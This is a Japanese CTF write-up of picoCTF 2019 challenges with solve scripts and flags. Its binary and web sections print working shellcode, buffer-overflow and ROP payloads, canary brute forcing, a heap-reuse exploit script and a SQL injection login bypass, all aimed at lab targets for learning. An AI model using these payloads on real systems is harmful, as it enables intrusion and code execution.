IS THIS POSSIBLE and FEASIBLE? (Y/N):

nとpが分かるなら、qも分かり、dが求められるので、cipertext^dを計算。

solve.py
def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m/n*x, d
  else:
    return 1, 0, m

p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
C = 14177987223508642131782797570705581865562801943020304324633179842233648468773284681099013143283137490421880620316003804700542539367277056119924780390073376368416200076614798528210303393148038397972770835314176889384910743248227379602503304665968858682295687434435804347875820140516870497567301408412715581672979699897049453701769585723745678466885154478156861404094657217832388752774912467316297776811251467400544288767645372505477570969704731692064200678746651536132006463037418757874224499384628808197361618023507921293784071910631939869468132820891513863046467487362047958571217107053268878096051632274561080703969
e = 65537
n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
q = n/p
d = exgcd(e, (p-1)*(q-1))[0] % ((p-1)*(q-1))
P = pow(C, d, n)
print P
IS THIS POSSIBLE and FEASIBLE? (Y/N): Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
plaintext: 14311663942709674867122208214901970650496788151239520971623411712977119792751215170179850877
Outstanding move!!!


If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)
$ python
Python 2.7.15+ (default, Nov 27 2018, 23:36:35)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ("%x"%14311663942709674867122208214901970650496788151239520971623411712977119792751215170179850877).decode("hex")
'picoCTF{wA8_th4t$_ill3aGal..o9baccc4b}'

picoCTF{wA8_th4t$_ill3aGal..o9baccc4b}

slippery-shellcode - Points: 200 - Solves: 1088 - Binary Exploitation

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_3_68613021756bf004b625d7b414243cd8 on the shell server. Source.

Hintsタブがあるけれど、中身は空。

vuln.c
 :
void vuln(char *buf){
  gets(buf);
  puts(buf);
}
 :
  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;

  ((void (*)())(buf+offset))();
 :

シェルコードが256バイトの範囲のどこから実行されるか分からない。NOP(0x90)を先頭に詰めておけば良い。昔々、スタックがランダム化されていなくて実行も可能で、スタックにシェルコードを書いていたときは、環境によるスタックのずれにこうやって対処したらしい。最近は見ないな。

$ (python -c 'print "\x90"*256+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'; cat) | ./vuln
$ cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_de21cb07}

vault-door-3 - Points: 200 - Solves: 3526 - Reverse Engineering

This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java

Make a table that contains each value of the loop variables and the corresponding buffer index that it writes to.

VaultDoor3.java
 :
    // Our security monitoring team has noticed some intrusions on some of the
    // less secure doors. Dr. Evil has asked me specifically to build a stronger
    // vault door to protect his Doomsday plans. I just *know* this door will
    // keep all of those nosy agents out of our business. Mwa ha!
    //
    // -Minion #2671
    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        char[] buffer = new char[32];
        int i;
        for (i=0; i<8; i++) {
            buffer[i] = password.charAt(i);
        }
        for (; i<16; i++) {
            buffer[i] = password.charAt(23-i);
        }
        for (; i<32; i+=2) {
            buffer[i] = password.charAt(46-i);
        }
        for (i=31; i>=17; i-=2) {
            buffer[i] = password.charAt(i);
        }
        String s = new String(buffer);
        return s.equals("jU5t_a_sna_3lpm1dg347_u_4_mfr54b");
    }
 :

最初の8文字はそのまま、次の8文字は左右逆転、残りの16文字は奇数番目はそのままで、偶数番目を左右逆転。

picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_7f35db}

whats-the-difference - Points: 200 - Solves: 2641 - General Skills

Can you spot the difference? kitters cattos. They are also available at /problems/whats-the-difference_0_00862749a2aeb45993f36cc9cf98a47a on the shell server

How do you find the difference between two files?
Dumping the data from a hex editor may make it easier to compare.

kitters.jpgとcattos.jpgの2枚の画像で、cattors.jpgはグリッチのように壊れている。2個の画像ファイルを比べて、違いがあるところでcattors.jpgのほうを抜き出すと、フラグになる。

solve.py
K = open("kitters.jpg", "rb").read()
C = open("cattos.jpg", "rb").read()

ans = ""
for k, c in zip(K, C):
  if k!=c:
    ans += c
print ans

picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}

where-is-the-file - Points: 200 - Solves: 5343 - General Skills

I've used a super secret mind trick to hide this file. Maybe something lies in /problems/where-is-the-file_0_cc140a3ba634658b98122a1954c1316a.

What command can see/read files?
What's in the manual page of ls?

ドットファイル。-aオプションで表示。

$ ls -al
total 80
drwxr-xr-x   2 root       root        4096 Sep 28 22:05 .
drwxr-x--x 684 root       root       69632 Oct 10 18:02 ..
-rw-rw-r--   1 hacksports hacksports    39 Sep 28 22:05 .cant_see_me
$ cat .cant_see_me 
picoCTF{w3ll_that_d1dnt_w0RK_b2dab472}

picoCTF{w3ll_that_d1dnt_w0RK_b2dab472}

NewOverFlow-2 - Points: 250 - Solves: 536 - Binary Exploitation

Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2_1_bcd752d56a87efb5dfc9803b461809f7 on the shell server. Source.

Arguments aren't stored on the stack anymore ;)

次のOverFlow 2はx86で関数の引数を指定する問題。こちらはx64版。並びは逆だけど、問題の出現順はどうだったか。

vuln.c
 :
void win_fn1(unsigned int arg_check) {
  if (arg_check == 0xDEADBEEF) {
    win1 = true;
  }
}

void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) {
  if (win1 && \
      arg_check1 == 0xBAADCAFE && \
      arg_check2 == 0xCAFEBABE && \
      arg_check3 == 0xABADBABE) {
    win2 = true;
  }
}

void win_fn() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  if (win1 && win2) {
    printf("%s", flag);
    return;
  }
  else {
    printf("Nope, not quite...\n");
  }
 :

win_fn1(0xDEADBEEF)win_fn2(0xBAADCAFE, 0xCAFEBABE, 0xABADBABE)win_fn()をこの順番に呼び出す。x64の引数は、rdirsirdx、…レジスタで渡されるので、pop rdi; retのようなガジェットに一度飛ばしてレジスタを設定する……のが想定解法だと思うのだけど、チェック無しでフラグを出力する関数が残っているので、ここに飛ばして終わり。

vuln.c
 :
void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}
 :
$ python -c 'print "a"*72+"4e08400000000000".decode("hex")' | .
/vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_3b39d86e}
Segmentation fault (core dumped)

picoCTF{r0p_1t_d0nT_st0p_1t_3b39d86e}

OverFlow 2 - Points: 250 - Solves: 1458 - Binary Exploitation

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f on the shell server. Source.

GDB can print the stack after you send arguments

こっちが32ビット版。関数の引数はスタックで渡されるので、リターンアドレスの後に積みましょう。

vuln.c
 :
void flag(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xC0DED00D)
    return;
  printf(buf);
}
 :
$ python -c 'print "a"*(176+12)+"\xe6\x85\x04\x08aaaa\xef\xbe\xad\xde\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���aaaaaaaaaaaaaaaaᆳ�
picoCTF{arg5_and_r3turn5ce5cf61a}Segmentation fault (core dumped)

picoCTF{arg5_and_r3turn5ce5cf61a}

WhitePages - Points: 250 - Solves: 1260 - Forensics

I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!

白紙。

whitepages.txt
                                                ...

全角スペースと半角スペースが混在している。

全角を0に、半角を1に置換すると、

00001010000010010000100101110000011010010110001101101111010000110101010001000110...

8個ずつに区切って2進数と思って変換。

solve.py
d = "00001010000010010000100101110000011010010110001101101111010000110101010001000110000010100000101000001001000010010101001101000101010001010010000001010000010101010100001001001100010010010100001100100000010100100100010101000011010011110101001001000100010100110010000000100110001000000100001001000001010000110100101101000111010100100100111101010101010011100100010000100000010100100100010101010000010011110101001001010100000010100000100100001001001101010011000000110000001100000010000001000110011011110111001001100010011001010111001100100000010000010111011001100101001011000010000001010000011010010111010001110100011100110110001001110101011100100110011101101000001011000010000001010000010000010010000000110001001101010011001000110001001100110000101000001001000010010111000001101001011000110110111101000011010101000100011001111011011011100110111101110100010111110110000101101100011011000101111101110011011100000110000101100011011001010111001101011111011000010111001001100101010111110110001101110010011001010110000101110100011001010110010001011111011001010111000101110101011000010110110001011111011001100011000000110000001101100110001100110000001101000011010101100110001101100110001000110100001100000011001001100011011001010011010001100010011000110011011100110100001110010110010001100011001101110110000100110010001101100011001000110011001110000011000001111101000010100000100100001001"
a = ""
for i in range(0, len(d), 8):
  a += chr(int(d[i:i+8], 2))
print a
$ python solve.py

                picoCTF

                SEE PUBLIC RECORDS & BACKGROUND REPORT
                5000 Forbes Ave, Pittsburgh, PA 15213
                picoCTF{not_all_spaces_are_created_equal_f006c045f6b402ce4bc749dc7a262380}

picoCTF{not_all_spaces_are_created_equal_f006c045f6b402ce4bc749dc7a262380}

asm2 - Points: 250 - Solves: 1425 - Reverse Engineering

What does asm2(0x7,0x18) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2_3_edb10ce41667cb1cd4213657dae580fd.

assembly conditions
https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm

関数の引数が2個あったら?という問題だろうか。

0x60

c0rrupt - Points: 250 - Solves: 836 - Forensics

We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13.

Try fixing the file header

PNGヘッダと、IHDRチャンク、IDATチャンクが壊れているので修復。

mystery.png

picoCTF{c0rrupt10n_1847995}

like1000 - Points: 250 - Solves: 3263 - Forensics

This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.

Try and script this, it'll save you alot of time

$ for i in $(seq 1000 -1 1); do tar xvf $i.tar; done
999.tar
filler.txt
998.tar
filler.txt
997.tar
filler.txt
996.tar
 :
2.tar
filler.txt
1.tar
filler.txt
flag.png
filler.txt

flag.pngにフラグが書かれている。

picoCTF{l0t5_0f_TAR5}

m00nwalk - Points: 250 - Solves: 1162 - Forensics

Decode this message from the moon. You can also find the file in /problems/m00nwalk_5_72c1b4e13cc7ddd43d7fb3b0ae86afef.

How did pictures from the moon landing get sent back to Earth?
What is the CMU mascot?, that might help select a RX option

解けなかった。ピロピロ鳴っているwavファイル。音響カプラか何か?

vault-door-4 - Points: 250 - Solves: 3252 - Reverse Engineering

This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java

Use a search engine to find an "ASCII table".
You will also need to know the difference between octal, decimal, and hexademical numbers.

VaultDoor4.java
 :
    // I made myself dizzy converting all of these numbers into different bases,
    // so I just *know* that this vault will be impenetrable. This will make Dr.
    // Evil like me better than all of the other minions--especially Minion
    // #5620--I just know it!
    //
    //  .:::.   .:::.
    // :::::::.:::::::
    // :::::::::::::::
    // ':::::::::::::'
    //   ':::::::::'
    //     ':::::'
    //       ':'
    // -Minion #7781
    public boolean checkPassword(String password) {
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
            0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
            0142, 0131, 0164, 063 , 0163, 0137, 062 , 060 ,
            '1' , 'b' , '3' , '5' , '2' , 'd' , '6' , 'c' ,
        };
        for (int i=0; i<32; i++) {
            if (passBytes[i] != myBytes[i]) {
                return false;
            }
        }
        return true;
    }
 :
>>> "".join(map(chr, [106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
...             0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
...             0142, 0131, 0164, 063 , 0163, 0137, 062 , 060 ,]))
'jU5t_4_bUnCh_0f_bYt3s_20'

jU5t_4_bUnCh_0f_bYt3s_20

CanaRy - Points: 300 - Solves: 403 - Binary Exploitation

This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd. Source.

Maybe there's a smart way to brute-force the canary?

vuln.c
void vuln(){
   char canary[KEY_LEN];
   char buf[BUF_SIZE];
   char user_len[BUF_SIZE];

   int count;
   int x = 0;
   memcpy(canary,key,KEY_LEN);
   printf("Please enter the length of the entry:\n> ");

   while (x<BUF_SIZE) {
      read(0,user_len+x,1);
      if (user_len[x]=='\n') break;
      x++;
   }
   sscanf(user_len,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,key,KEY_LEN)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

スタックにカナリアが付いた。とはいえ、このカナリアはファイルから読み込んでいて、値が固定。最初の1バイトを256通り上書きして、スタック破壊が検知されるかどうかで、最初の1バイトの値が分かる。残りの3バイトも同様に。カナリアの値が分かれば、リターンアドレスを上書きできる。

$ for i in $(seq 32 127); do echo $i; python -c "print 33; print chr($i)*33" | ./vuln; done
 :
54
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
55
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
56
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
 :
$ for i in $(seq 32 127); do echo $i; python -c "print 34; print 'a'*32+'7'+chr($i)" | ./vuln; done
 :
96
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
97
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
98
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
 :
$ for i in $(seq 32 127); do echo $i; python -c "print 35; print 'a'*32+'7a'+chr($i)" | ./vuln; done
 :
53
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
54
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
55
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
 :
$ for i in $(seq 32 127); do echo $i; python -c "print 36; print 'a'*32+'7a6'+chr($i)" | ./vuln; done

71
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
72
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
73
Please enter the length of the entry:
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
 :

カナリアの値は7a6H。PIEなので、コード領域の位置がランダム化される。ランダム化されても、本来の戻り先と飛ばしたいdisplay_flagの上位ビットは値が同じなので、下位2バイトのみを上書き。下位2バイトの上位4ビットは、何回か試して偶然一致することを期待する。

$ for i in $(seq 16); do printf '54\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7a6Hxxxxxxxxxxxxxxxx\xed\x07' | ./vuln; done
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
Segmentation fault (core dumped)
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
Segmentation fault (core dumped)
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
Segmentation fault (core dumped)
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
Segmentation fault (core dumped)
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
Segmentation fault (core dumped)
Please enter the length of the entry:
> Input> Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}
 :

picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}

Irish-Name-Repo 1 - Points: 300 - Solves: 2708 - Web Exploitation

There is a website running at https://2019shell1.picoctf.com/problem/32241/ (link) or http://2019shell1.picoctf.com:32241. Do you think you can log us in? Try to see if you can login!

There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?
Try to think about how does the website verify your login?

SQL Injection。Username' OR 1 --でログインできる。

picoCTF{s0m3_SQL_0397f20c}

asm3 - Points: 300 - Solves: 860 - Reverse Engineering

What does asm3(0xd46c9935,0xdfe28722,0xb335450f) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm3_2_376e88472c6a9317470a12cc31d506a4.

more(?) registers
https://wiki.skullsecurity.org/index.php?title=Registers

axahalの関係を知っていますか?という問題。exの上位8ビットがah、下位8ビットがal

0xa72e

droids0 - Points: 300 - Solves: 579 - Reverse Engineering

Where do droid logs go. Check out this file. You can also find the file in /problems/droids0_0_205f7b4a3b23490adffddfcfc45a2ca3.

Try using an emulator or device
https://developer.android.com/studio

DockerのためにHyper-Vを有効にしたから、Androidのエミュレータが動かない。Androidのスマホを引っ張り出してきて動かしてみたけれど分からず、Apktoolで逆アセンブルしてみたら、ログに何かが出ていることが分かった。

FlagstaffHill.smali
.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
    .locals 2
    .param p0, "input"    # Ljava/lang/String;
    .param p1, "ctx"    # Landroid/content/Context;

    .line 11
    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->paprika(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    const-string v1, "PICO"

    invoke-static {v1, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

    .line 12
    const-string v0, "Not Today..."

    return-object v0
.end method

Android Studioに付属のAndroid Device Monitorで見られる。

10-06 19:29:29.013: I/PICO(9168): picoCTF{a.moose.once.bit.my.sister}

picoCTF{a.moose.once.bit.my.sister}

flag_shop - Points: 300 - Solves: 2010 - General Skills

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 63894.

Two's compliment can do some weird things when numbers get really big!

store.c
 :
            printf("Currently for sale\n");
            printf("1. Defintely not the flag Flag\n");
            printf("2. 1337 Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("These knockoff Flags cost 900 each, enter desired quantity\n");

                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 900*number_flags;
                    printf("\nThe final cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour current balance after transaction: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds to complete purchase\n");
                    }
 :

10000000000000000個買ったらバグった。

$ nc 2019shell1.picoctf.com 63894
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
10000000000000000

The final cost is: -494665728

Your current balance after transaction: 494666828

Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{m0n3y_bag5_818a7f84}

picoCTF{m0n3y_bag5_818a7f84}

leap-frog - Points: 300 - Solves: 198 - Binary Exploitation

Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c on the shell server? Source.

Try and call the functions in the correct order!
Remember, you can always call main() again!

rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);

  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

これ、なかなか難しかった。

leap関数を順番に呼べば良さそうなものだけど、ここが通らない。

rop.c
 :
void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
 :

if文の中に飛ばすと、関数末尾のleaveでスタックがおかしくなる。スタックはランダム化されるから、ebpの値を正しい値にしておくこともできない。スタックを既知のアドレスに置き換えようにも、xchg eax, esp; retのようなガジェットが無い。

rop.txt
 :
080485e6 <leapA>:
 80485e6:   55                      push   ebp
 80485e7:   89 e5                   mov    ebp,esp
 80485e9:   e8 3f 02 00 00          call   804882d <__x86.get_pc_thunk.ax>
 80485ee:   05 12 1a 00 00          add    eax,0x1a12
 80485f3:   c6 80 3d 00 00 00 01    mov    BYTE PTR [eax+0x3d],0x1
 80485fa:   90                      nop
 80485fb:   5d                      pop    ebp
 80485fc:   c3                      ret    
 :

leapAはこのようなコードになる。__x86.get_pc_thunk.axはリターン先のアドレス(ここでは、80485ee)を返す関数。これで.dataのアドレスを計算している。eaxの値変えながら80485f3を呼び出すことで、leapAを使って、win2win3を書き換えた。

0x08048b91 : adc al, 0x41 ; ret
 :
0x080485c8 : add al, 8 ; add ecx, ecx ; ret
 :
0x08048504 : sbb al, 0x24 ; ret

+0x41+8-0x24-0x24=1。ただし、+8するときのadd ecx, ecxでキャリーフラグが設定されてしまうので、add al, 0x24; sbb al, 0x24を挟む。

attack.py
from struct import *

payload = ("a"*0x1c
  + pack("<I", 0x080485e6)  # leapA
  + pack("<I", 0x08048b91)  # adc al, 0x41
  + pack("<I", 0x080485c8)  # add al, 0x08; add ecx, ecx
  + pack("<I", 0x0804882e)  # add al, 0x24
  + pack("<I", 0x08048504)  # sbb al, 0x24
  + pack("<I", 0x08048504)  # sbb al, 0x24
  + pack("<I", 0x08048504)  # sbb al, 0x24
  + pack("<I", 0x080485f3)  # mov [eax+0x3d],0x1; pop
  + pack("<I", 0x00000000)
  + pack("<I", 0x08048b91)  # adc al, 0x41
  + pack("<I", 0x080485c8)  # add al, 0x08; add ecx, ecx
  + pack("<I", 0x0804882e)  # add al, 0x24
  + pack("<I", 0x08048504)  # sbb al, 0x24
  + pack("<I", 0x08048504)  # sbb al, 0x24
  + pack("<I", 0x08048504)  # sbb al, 0x24
  + pack("<I", 0x080485f3)  # mov [eax+0x3d],0x1; pop
  + pack("<I", 0x00000000)
  + pack("<I", 0x080486b3)) # display_flag

print repr(payload)
$ printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\x91\x8b\x04\x08\xc8\x85\x04\x08.\x88\x04\x08\x04\x85\x04\x08\x04\x85\x04\x08\x04\x85\x04\x08\xf3\x85\x04\x08\x00\x00\x00\x00\x91\x8b\x04\x08\xc8\x85\x04\x08.\x88\x04\x08\x04\x85\x04\x08\x04\x85\x04\x08\x04\x85\x04\x08\xf3\x85\x04\x08\x00\x00\x00\x00\xb3\x86\x04\x08' | ./rop
Enter your input> picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}
Segmentation fault (core dumped)

libcのアドレスをリークさせて、libcを使って普通にシェルを取ったほうが楽だったかもしれない。ヒントの「Remember, you can always call main() again!」も使っていないし、何か他に楽な方法があるのかな?

picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}

messy-malloc - Points: 300 - Solves: 241 - Binary Exploitation

Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? Connect with nc 2019shell1.picoctf.com 45173. Source.

If only the program used calloc to zero out the memory..

ソースコードが長い。

auth.c
 :
struct user {
  char *username;
  char access_code[ACCESS_CODE_LEN];
  char *files;
};
 :

こんな構造体でユーザーを管理していて、userusernamemallocで確保される。access_codeの値がROOT_ACCESS_CODEならばOK。確保時にメモリをクリアしていないので、usernameにアクセスコードを書き込んで解放し、次にuserとして確保させれば良い。ユーザー名のサイズをuserのサイズと同じにする。

attack.py
from pwn import *

s = remote("2019shell1.picoctf.com", 45173)

s.sendlineafter("> ", "login")
s.sendlineafter("length of your username\n", "33")
s.sendlineafter("your username\n", "\0"*8+"ROOT_ACCESS_CODE"+"\0"*8)
s.recvuntil("> ")
s.sendlineafter("> ", "logout")

s.sendlineafter("> ", "login")
s.sendlineafter("length of your username\n", "2")
s.sendafter("your username\n", "a")
s.sendlineafter("> ", "print-flag")
print s.recv(999)
$ python attack.py
[+] Opening connection to 2019shell1.picoctf.com on port 45173: Done
picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8e26e065}

ncが使えるとやっぱり楽。

picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8e26e065}

miniRSA - Points: 300 - Solves: 1422 - Cryptography

Lets decrypt this: ciphertext? Something seems a bit small

RSA tutorial
https://en.wikipedia.org/wiki/RSA_(cryptosystem)
How could having too small an e affect the security of this 2048 bit key?
Make sure you dont lose precision, the numbers are pretty big (besides the e value)


N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e: 3

ciphertext (c): 2205316413931134031074603746928247799030155221252519872649594750678791181631768977116979076832403970846785672184300449694813635798586699205901153799059293422365185314044451205091048294412538673475392478762390753946407342073522966852394341 

cの値が小さく、plaintext^e = c < nだと思われるので、単に3乗根を求めれば良い。

solve.py
c = 2205316413931134031074603746928247799030155221252519872649594750678791181631768977116979076832403970846785672184300449694813635798586699205901153799059293422365185314044451205091048294412538673475392478762390753946407342073522966852394341

l = 0
r = c
for i in range(1000):
  m = (l+r)/2
  if m**3<=c:
    l = m
  else:
    r = m

print ("%x"%l).decode("hex")
$ python solve.py
picoCTF{n33d_a_lArg3r_e_0a41ef50}

picoCTF{n33d_a_lArg3r_e_0a41ef50}

mus1c - Points: 300 - Solves: 1410 - General Skills

解けなかった。

I wrote you a song. Put it in the picoCTF{} flag format

Do you think you can master rockstar?

lyrics.txt
Pico's a CTFFFFFFF
my mind is waitin
It's waitin

Put my mind of Pico into This
my flag is not found
put This into my flag
put my flag into Pico


shout Pico
 :

こんなんでどうしろと……。

reverse_cipher - Points: 300 - Solves: 948 - Reverse Engineering

We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher_1_2df63c1ee06e5ed37e35622b009f92ff on the shell server.

objdump and Gihdra are some tools that could assist with this

revを解析すると、文字の奇数番目か偶数番目かで値を足し引きしている。

solve.py
a = "w1{1wq8b5.:/f.<"
a = map(ord, a)

for i in range(len(a)):
  if i%2==0:
    a[i] -= 5
  else:
    a[i] += 2

print "".join(map(chr, a))
$ python solve.py
r3v3rs3d0051a07

picoCTF{r3v3rs3d0051a07}

shark on wire 2 - Points: 300 - Solves: 375 - Forensics

解けなかった。

We found this packet capture. Recover the flag that was pilfered from the network. You can also find the file in /problems/shark-on-wire-2_0_3e92bfbdb2f6d0e25b8d019453fdbf07.

ヒントは無し。

stringzz - Points: 300 - Solves: 576 - Binary Exploitation

Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_4_a95d63468fc56e11a9e406b68c4b3a4a on the shell server. Source.

http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

